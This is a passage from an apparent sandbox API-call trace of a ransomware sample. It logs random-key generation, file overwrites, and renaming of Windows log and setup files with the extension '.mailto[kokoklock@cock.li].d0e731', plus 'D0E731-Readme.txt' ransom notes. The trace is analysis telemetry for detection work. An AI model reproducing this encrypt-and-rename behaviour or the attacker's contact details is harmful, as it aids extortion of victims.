lpOverlapped=0x0) returned 1 [0168.126] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.126] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88520 [0168.126] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88368 [0168.126] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88430 [0168.126] NtQuerySystemTime (in: CurrentTime=0xbcefbb4 | out: CurrentTime=0xbcefbb4*=132121213254439187) returned 0x0 [0168.126] RtlRandom (in: Seed=0xbcefbc0 | out: Seed=0xbcefbc0) returned 0xc713842a [0168.126] RtlRandom (in: Seed=0xbcefbc0 | out: Seed=0xbcefbc0) returned 0xf2ad44d0 [0168.126] RtlRandom (in: Seed=0xbcefbc0 | out: Seed=0xbcefbc0) returned 0x31498925 [0168.126] RtlRandom (in: Seed=0xbcefbc0 | out: Seed=0xbcefbc0) returned 0x8df399a5 [0168.126] RtlRandom (in: Seed=0xbcefbc0 | out: Seed=0xbcefbc0) returned 0x21edc20 [0168.126] RtlRandom (in: Seed=0xbcefbc0 | out: Seed=0xbcefbc0) returned 0xbd4abecf [0168.126] RtlRandom (in: Seed=0xbcefbc0 | out: Seed=0xbcefbc0) returned 0xbb9d74c8 [0168.126] RtlRandom (in: Seed=0xbcefbc0 | out: Seed=0xbcefbc0) returned 0x6c918cd2 [0168.126] RtlRandom (in: Seed=0xbcefbc0 | out: Seed=0xbcefbc0) returned 0x6f724af5 [0168.126] RtlRandom (in: Seed=0xbcefbc0 | out: Seed=0xbcefbc0) returned 0x7a6ba9bf [0168.127] RtlRandom (in: Seed=0xbcefbc0 | out: Seed=0xbcefbc0) returned 0x2e9d01fc [0168.127] RtlRandom (in: Seed=0xbcefbc0 | out: Seed=0xbcefbc0) returned 0x750a1b34 [0168.127] RtlRandom (in: Seed=0xbcefbc0 | out: Seed=0xbcefbc0) returned 0x6eafd75e [0168.127] RtlRandom (in: Seed=0xbcefbc0 | out: Seed=0xbcefbc0) returned 0x4b1563d2 [0168.127] RtlRandom (in: Seed=0xbcefbc0 | out: Seed=0xbcefbc0) returned 0xec550718 [0168.127] RtlRandom (in: Seed=0xbcefbc0 | out: Seed=0xbcefbc0) returned 0xfe19834a [0168.127] RtlRandom (in: Seed=0xbcefbc0 | out: Seed=0xbcefbc0) returned 0xeb2e07f2 [0168.127] RtlRandom (in: Seed=0xbcefbc0 | out: Seed=0xbcefbc0) returned 0xc11f7df7 [0168.127] RtlRandom (in: Seed=0xbcefbc0 | out: Seed=0xbcefbc0) returned 0x788f2ca [0168.127] RtlRandom (in: Seed=0xbcefbc0 | out: Seed=0xbcefbc0) returned 0x18e02f6 [0168.127] RtlRandom (in: Seed=0xbcefbc0 | out: Seed=0xbcefbc0) returned 0xc20c3c5d [0168.127] RtlRandom (in: Seed=0xbcefbc0 | out: Seed=0xbcefbc0) returned 0xb9826649 [0168.127] RtlRandom (in: Seed=0xbcefbc0 | out: Seed=0xbcefbc0) returned 0x12390e27 [0168.127] RtlRandom (in: Seed=0xbcefbc0 | out: Seed=0xbcefbc0) returned 0xd0a19f11 [0168.127] RtlRandom (in: Seed=0xbcefbc0 | out: Seed=0xbcefbc0) returned 0x3317b9df [0168.127] RtlRandom (in: Seed=0xbcefbc0 | out: Seed=0xbcefbc0) returned 0xdd40a97a [0168.127] RtlRandom (in: Seed=0xbcefbc0 | out: Seed=0xbcefbc0) returned 0x9211726b [0168.127] RtlRandom (in: Seed=0xbcefbc0 | out: Seed=0xbcefbc0) returned 0xb6a57540 [0168.127] RtlRandom (in: Seed=0xbcefbc0 | out: Seed=0xbcefbc0) returned 0x7773d047 [0168.127] RtlRandom (in: Seed=0xbcefbc0 | out: Seed=0xbcefbc0) returned 0x5e4f6e8d [0168.127] RtlRandom (in: Seed=0xbcefbc0 | out: Seed=0xbcefbc0) returned 0xa3aa4247 [0168.127] RtlRandom (in: Seed=0xbcefbc0 | out: Seed=0xbcefbc0) returned 0x1cb19e61 [0168.135] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f881d8 [0168.137] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2fab0b0 [0168.137] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88570 [0168.137] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab0b0) returned 1 [0168.137] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88520) returned 1 [0168.137] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0168.138] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.138] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xbcefb8c, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xbcefb8c*=0x4096, lpOverlapped=0x0) returned 1 [0168.138] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.139] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87350 [0168.139] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faafc0 [0168.139] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f882a0 [0168.139] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f882a0) returned 1 [0168.139] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0168.139] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f883e0 [0168.139] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88340 [0168.139] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88340) returned 1 [0168.139] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faafc0) returned 1 [0168.139] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87350) returned 1 [0168.139] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xbcefb8c, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xbcefb8c*=0x4096, lpOverlapped=0x0) returned 1 [0168.140] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0168.140] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.140] WriteFile (in: hFile=0x528, lpBuffer=0x2f883e0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xbcefbc4, lpOverlapped=0x0 | out: lpBuffer=0x2f883e0*, lpNumberOfBytesWritten=0xbcefbc4*=0x20, lpOverlapped=0x0) returned 1 [0168.140] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f883e0) returned 1 [0168.140] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0168.140] WriteFile (in: hFile=0x528, lpBuffer=0x2f88570*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xbcefbd8, lpOverlapped=0x0 | out: lpBuffer=0x2f88570*, lpNumberOfBytesWritten=0xbcefbd8*=0x8, lpOverlapped=0x0) returned 1 [0168.140] WriteFile (in: hFile=0x528, lpBuffer=0xbcefbf0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xbcefbd8, lpOverlapped=0x0 | out: lpBuffer=0xbcefbf0*, lpNumberOfBytesWritten=0xbcefbd8*=0x4, lpOverlapped=0x0) returned 1 [0168.140] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xbcefbd8, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0xbcefbd8*=0x4, lpOverlapped=0x0) returned 1 [0168.140] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xbcefbd8, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0xbcefbd8*=0x6c, lpOverlapped=0x0) returned 1 [0168.140] WriteFile (in: hFile=0x528, lpBuffer=0x2f88368*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xbcefbd8, lpOverlapped=0x0 | out: lpBuffer=0x2f88368*, lpNumberOfBytesWritten=0xbcefbd8*=0x20, lpOverlapped=0x0) returned 1 [0168.141] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xbcefbd8, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0xbcefbd8*=0x4, lpOverlapped=0x0) returned 1 [0168.141] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88368) returned 1 [0168.141] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f881d8) returned 1 [0168.141] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88570) returned 1 [0168.141] CloseHandle (hObject=0x528) returned 1 [0168.141] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc4) returned 0x2fc3548 [0168.141] wcscpy (in: _Dest=0x2fc3548, _Source="C:\\Logs\\Windows PowerShell.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Windows PowerShell.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Windows PowerShell.evtx.mailto[kokoklock@cock.li].d0e731" [0168.141] wcscat (in: _Dest=0x2fc3548, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Windows PowerShell.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Windows PowerShell.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0168.141] MoveFileW (lpExistingFileName="C:\\Logs\\Windows PowerShell.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\windows powershell.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Windows PowerShell.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\windows powershell.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0168.142] SetFileAttributesW (lpFileName="C:\\Logs\\Windows PowerShell.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0168.142] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3548) returned 1 [0168.142] SetFileAttributesW (lpFileName="C:\\Logs\\Windows PowerShell.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0168.142] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2fe3b08 [0168.142] wcscpy (in: _Dest=0x2fe3b08, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0168.142] wcscat (in: _Dest=0x2fe3b08, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0168.142] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0168.142] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3b08) returned 1 [0168.142] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f82868) returned 1 [0168.142] RtlExitUserThread (Status=0x1) Thread: id = 1691 os_tid = 0x9e4 [0168.144] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x2c) returned 0x30131a0 [0168.144] wcscpy (in: _Dest=0x30131a0, _Source="C:\\$GetCurrent\\Logs" | out: _Dest="C:\\$GetCurrent\\Logs") returned="C:\\$GetCurrent\\Logs" [0168.144] wcscat (in: _Dest=0x30131a0, _Source="\\" | out: _Dest="C:\\$GetCurrent\\Logs\\") returned="C:\\$GetCurrent\\Logs\\" [0168.144] wcscat (in: _Dest=0x30131a0, _Source="*" | out: _Dest="C:\\$GetCurrent\\Logs\\*") returned="C:\\$GetCurrent\\Logs\\*" [0168.144] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe1ea8 [0168.144] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x8043c74c, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8043c74c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe3f08 [0168.146] wcscmp (_String1=".", _String2=".") returned 0 [0168.146] FindNextFileW (in: hFindFile=0x2fe3f08, lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x8043c74c, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8043c74c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.146] wcscmp (_String1="..", _String2=".") returned 1 [0168.146] wcscmp (_String1="..", _String2="..") returned 0 [0168.146] FindNextFileW (in: hFindFile=0x2fe3f08, lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x803a3d8b, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x803a3d8b, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x803a3d8b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0168.146] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0168.146] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0168.147] FindNextFileW (in: hFindFile=0x2fe3f08, lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x542c8aac, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0x80416531, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xa772, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="DOWNLE~1.D0E")) returned 1 [0168.147] wcscmp (_String1="downlevel_2017_09_07_02_02_39_766.log.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.147] wcscmp (_String1="downlevel_2017_09_07_02_02_39_766.log.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.147] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb6) returned 0x3024850 [0168.147] wcscpy (in: _Dest=0x3024850, _Source="C:\\$GetCurrent\\Logs" | out: _Dest="C:\\$GetCurrent\\Logs") returned="C:\\$GetCurrent\\Logs" [0168.147] wcscat (in: _Dest=0x3024850, _Source="\\" | out: _Dest="C:\\$GetCurrent\\Logs\\") returned="C:\\$GetCurrent\\Logs\\" [0168.147] wcscat (in: _Dest=0x3024850, _Source="downlevel_2017_09_07_02_02_39_766.log.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.mailto[kokoklock@cock.li].d0e731") returned="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.mailto[kokoklock@cock.li].d0e731" [0168.161] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3024850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x524 [0168.162] FindNextFileW (in: hFindFile=0x2fe3f08, lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x973abb0f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x803a3d8b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1834, dwReserved0=0x0, dwReserved1=0x0, cFileName="oobe_2017_09_07_03_08_57_737.log.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="OOBE_2~1.D0E")) returned 1 [0168.162] wcscmp (_String1="oobe_2017_09_07_03_08_57_737.log.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.162] wcscmp (_String1="oobe_2017_09_07_03_08_57_737.log.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.162] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x2f838a8 [0168.162] wcscpy (in: _Dest=0x2f838a8, _Source="C:\\$GetCurrent\\Logs" | out: _Dest="C:\\$GetCurrent\\Logs") returned="C:\\$GetCurrent\\Logs" [0168.162] wcscat (in: _Dest=0x2f838a8, _Source="\\" | out: _Dest="C:\\$GetCurrent\\Logs\\") returned="C:\\$GetCurrent\\Logs\\" [0168.162] wcscat (in: _Dest=0x2f838a8, _Source="oobe_2017_09_07_03_08_57_737.log.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.mailto[kokoklock@cock.li].d0e731") returned="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.mailto[kokoklock@cock.li].d0e731" [0168.162] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f838a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6dc [0168.162] FindNextFileW (in: hFindFile=0x2fe3f08, lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x8043c74c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="PARTNE~1.D0E")) returned 1 [0168.163] wcscmp (_String1="PartnerSetupCompleteResult.log.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.163] wcscmp (_String1="PartnerSetupCompleteResult.log.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.163] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa8) returned 0x2f6ee40 [0168.163] wcscpy (in: _Dest=0x2f6ee40, _Source="C:\\$GetCurrent\\Logs" | out: _Dest="C:\\$GetCurrent\\Logs") returned="C:\\$GetCurrent\\Logs" [0168.163] wcscat (in: _Dest=0x2f6ee40, _Source="\\" | out: _Dest="C:\\$GetCurrent\\Logs\\") returned="C:\\$GetCurrent\\Logs\\" [0168.163] wcscat (in: _Dest=0x2f6ee40, _Source="PartnerSetupCompleteResult.log.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.mailto[kokoklock@cock.li].d0e731") returned="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.mailto[kokoklock@cock.li].d0e731" [0168.163] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6ee40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6d8 [0168.163] FindNextFileW (in: hFindFile=0x2fe3f08, lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x8043c74c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="PARTNE~1.D0E")) returned 0 [0168.163] FindClose (in: hFindFile=0x2fe3f08 | out: hFindFile=0x2fe3f08) returned 1 [0168.164] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1ea8) returned 1 [0168.164] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30131a0) returned 1 [0168.164] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f91290) returned 1 [0168.164] RtlExitUserThread (Status=0x0) Thread: id = 1692 os_tid = 0xd88 [0168.147] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x30) returned 0x30131d8 [0168.147] wcscpy (in: _Dest=0x30131d8, _Source="C:\\$GetCurrent\\SafeOS" | out: _Dest="C:\\$GetCurrent\\SafeOS") returned="C:\\$GetCurrent\\SafeOS" [0168.147] wcscat (in: _Dest=0x30131d8, _Source="\\" | out: _Dest="C:\\$GetCurrent\\SafeOS\\") returned="C:\\$GetCurrent\\SafeOS\\" [0168.147] wcscat (in: _Dest=0x30131d8, _Source="*" | out: _Dest="C:\\$GetCurrent\\SafeOS\\*") returned="C:\\$GetCurrent\\SafeOS\\*" [0168.147] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe2110 [0168.147] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x2fe2110 | out: lpFindFileData=0x2fe2110*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x7fbbe1ac, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x7fbbe1ac, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe3f48 [0168.150] wcscmp (_String1=".", _String2=".") returned 0 [0168.150] FindNextFileW (in: hFindFile=0x2fe3f48, lpFindFileData=0x2fe2110 | out: lpFindFileData=0x2fe2110*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x7fbbe1ac, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x7fbbe1ac, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.150] wcscmp (_String1="..", _String2=".") returned 1 [0168.150] wcscmp (_String1="..", _String2="..") returned 0 [0168.150] FindNextFileW (in: hFindFile=0x2fe3f48, lpFindFileData=0x2fe2110 | out: lpFindFileData=0x2fe2110*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fbbe1ac, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x7fbbe1ac, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x7fbbe1ac, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0168.150] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0168.150] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0168.150] FindNextFileW (in: hFindFile=0x2fe3f48, lpFindFileData=0x2fe2110 | out: lpFindFileData=0x2fe2110*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9568f13f, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9568f13f, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x232c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentOOBE.dll", cAlternateFileName="GETCUR~1.DLL")) returned 1 [0168.150] wcscmp (_String1="GetCurrentOOBE.dll", _String2=".") returned 1 [0168.150] wcscmp (_String1="GetCurrentOOBE.dll", _String2="..") returned 1 [0168.150] FindNextFileW (in: hFindFile=0x2fe3f48, lpFindFileData=0x2fe2110 | out: lpFindFileData=0x2fe2110*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956819aa, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x956819aa, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x7fbbe1ac, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x15c, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentRollback.ini.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="GETCUR~1.D0E")) returned 1 [0168.150] wcscmp (_String1="GetCurrentRollback.ini.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.150] wcscmp (_String1="GetCurrentRollback.ini.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.150] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9c) returned 0x2fee780 [0168.150] wcscpy (in: _Dest=0x2fee780, _Source="C:\\$GetCurrent\\SafeOS" | out: _Dest="C:\\$GetCurrent\\SafeOS") returned="C:\\$GetCurrent\\SafeOS" [0168.150] wcscat (in: _Dest=0x2fee780, _Source="\\" | out: _Dest="C:\\$GetCurrent\\SafeOS\\") returned="C:\\$GetCurrent\\SafeOS\\" [0168.150] wcscat (in: _Dest=0x2fee780, _Source="GetCurrentRollback.ini.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.mailto[kokoklock@cock.li].d0e731") returned="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.mailto[kokoklock@cock.li].d0e731" [0168.158] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fee780, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x484 [0168.159] FindNextFileW (in: hFindFile=0x2fe3f48, lpFindFileData=0x2fe2110 | out: lpFindFileData=0x2fe2110*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x54acc791, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0x54acc791, ftLastWriteTime.dwHighDateTime=0x1d3273a, nFileSizeHigh=0x0, nFileSizeLow=0x241, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupComplete.cmd", cAlternateFileName="PARTNE~1.CMD")) returned 1 [0168.159] wcscmp 